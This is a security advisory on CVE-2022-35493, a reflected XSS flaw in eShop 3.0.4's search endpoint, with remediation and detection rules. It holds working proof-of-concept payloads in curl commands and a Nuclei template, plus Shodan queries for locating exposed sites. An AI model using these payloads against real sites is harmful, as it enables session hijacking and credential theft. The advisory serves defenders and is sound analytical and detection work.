CVE-2022-35493

Executive Summary

CVE-2022-35493 is a reflected Cross-Site Scripting (XSS) vulnerability identified in the eShop - Multipurpose Ecommerce Store Website version 3.0.4, developed by Wrteam.in. The flaw resides in the JSON search parsing and response handling within the get_products endpoint. An attacker can inject arbitrary web scripts or HTML via the search parameter, leading to potential data theft, session hijacking, or website defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) and is publicly exploitable with a proof-of-concept (PoC) available. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a standalone PHP-based e-commerce application. The risk is limited to organizations that have deployed this specific software version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – injected script can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. Successful exploitation can lead to session theft, credential harvesting, or defacement.

Deep Dive & Mechanics

The vulnerability exists in the /home/get_products endpoint of the eShop application. The search parameter is not properly sanitized before being reflected in the JSON response. When a user makes a GET request with a malicious payload in the search parameter, the server returns the input unsanitized within the response body. If the response is rendered as HTML (due to the text/html content type), the injected script executes in the user's browser.

Root Cause: Lack of input validation and output encoding. The application directly concatenates user input into the JSON response without escaping HTML entities.

Attack Flow:

1. Attacker crafts a malicious URL: https://target.com/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
2. Victim clicks the link (e.g., via phishing email).
3. The server responds with a JSON-like structure containing the unsanitized payload.
4. The browser interprets the response as HTML, executing the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: directly echoes user input
$search = $_GET['search'];
echo "Search Result for \"" . $search . "\"";

Patched Code (Recommended):

// Patched: sanitize and encode output
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search Result for \"" . $search . "\"";

Key Difference: The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running eShop 3.0.4
• Burp Suite or curl
• A browser for testing

Exploit Steps:

1. Use the following curl command to test:

   curl -v "http://target.com/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"
   

2. Observe the response containing Search Result for "><img src=x onerror=alert(document.domain)>.
3. For a more advanced payload, use:

   curl "http://target.com/home/get_products?search=%3Cscript%3Ealert('XSS')%3C/script%3E"
   

Lab Setup:

• Deploy eShop 3.0.4 on a local server (e.g., XAMPP or Docker).
• Use a browser to navigate to the crafted URL.
• Verify the XSS alert.

Blue Team (Defensive)

Detection:

• Monitor web logs for requests to /home/get_products with suspicious search parameters containing <script>, <img onerror>, or encoded HTML.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation (allow only alphanumeric characters for search).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Upgrade to a patched version if available.

Indicators of Compromise (IOCs)

• URL Pattern: /home/get_products?search=* with HTML-encoded payloads.
• Response Body: Contains Search Result for " followed by unescaped HTML tags.
• HTTP Headers: Content-Type: text/html (should be application/json).
• Log Entries: GET requests to /home/get_products with search parameter containing %22%3E%3Cimg or %3Cscript%3E.

Detection Engineering

YARA Rule

rule CVE_2022_35493_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2022-35493 in eShop 3.0.4"
        author = "Valters IT"
        date = "2025-04-09"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-35493"
    strings:
        $xss_payload1 = /search=%22%3E%3Cimg%20src%3Dx%20onerror%3D/
        $xss_payload2 = /search=%3Cscript%3E/
        $xss_payload3 = /search=.*%3C.*%3E/
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-35493 XSS Attempt on eShop
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts against eShop 3.0.4 via the get_products endpoint
author: Valters IT
date: 2025-04-09
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query:
            - '/home/get_products?search=*%3C*%3E*'
            - '/home/get_products?search=*%22%3E%3C*'
    condition: selection
falsepositives:
    - Legitimate search queries containing HTML tags (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-35493 eShop XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/home/get_products"; http_uri; content:"search="; http_uri; pcre:"/search=%22%3E%3Cimg%20src%3Dx%20onerror%3D|search=%3Cscript%3E/"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-35493

info:
  name: eShop 3.0.4 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    eShop 3.0.4 contains a reflected cross-site scripting vulnerability in json search parse and json response in wrteam.in.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    To remediate this issue, the application should implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35493
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-35493
    cwe-id: CWE-79
    epss-score: 0.02192
    epss-percentile: 0.84462
    cpe: cpe:2.3:a:wrteam:eshop_-_ecommerce_\/_store_website:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wrteam
    product: eshop_-_ecommerce_\/_store_website
    shodan-query:
      - http.html:"eShop - Multipurpose Ecommerce"
      - http.html:"eshop - multipurpose ecommerce"
    fofa-query: body="eshop - multipurpose ecommerce"
  tags: cve,cve2022,eshop,xss,wrteam,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Search Result for \"><img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Restrict the search parameter to alphanumeric characters only.
2. Output Encoding: Use htmlspecialchars() or equivalent to escape HTML entities in all reflected data.
3. Content-Type Header: Ensure the endpoint returns Content-Type: application/json instead of text/html.
4. WAF Rules: Deploy web application firewall rules to block common XSS payloads.

Long-Term Fix:

• Contact the vendor (Wrteam.in) for an official patch.
• If no patch is available, consider migrating to a supported e-commerce platform.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valtersit.com.

{/* [Security Hash: 5BE0A084F39B701AE64B45DF] */}